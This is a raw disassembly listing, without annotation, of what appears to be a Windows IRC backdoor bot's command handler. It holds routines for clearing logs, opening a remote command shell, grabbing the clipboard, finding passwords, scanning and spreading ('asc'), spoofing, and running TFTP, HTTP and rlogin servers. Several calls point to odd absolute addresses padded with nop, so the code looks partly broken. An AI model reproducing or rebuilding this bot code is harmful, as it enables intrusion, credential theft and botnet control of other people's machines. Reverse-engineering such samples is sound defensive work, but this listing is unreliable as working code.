		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C580
		push	offset dword_42C574
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C570
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C55C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C52C
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4F8
		push	eax
		mov	dword_4CF1D0, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C450
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3D0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42C394
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319EA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C358
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_431808
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB9C8
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DBD8
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2D8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C29C
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C264
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C244
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2670343h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C210
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42C1D4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		call	near ptr 2680000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C198
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42C15C


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DBD8


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C120
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42C0E4
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB940
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0C0
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C094
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C068


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C044
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C018
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C000
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFE4
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFB8
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF90
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF70


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
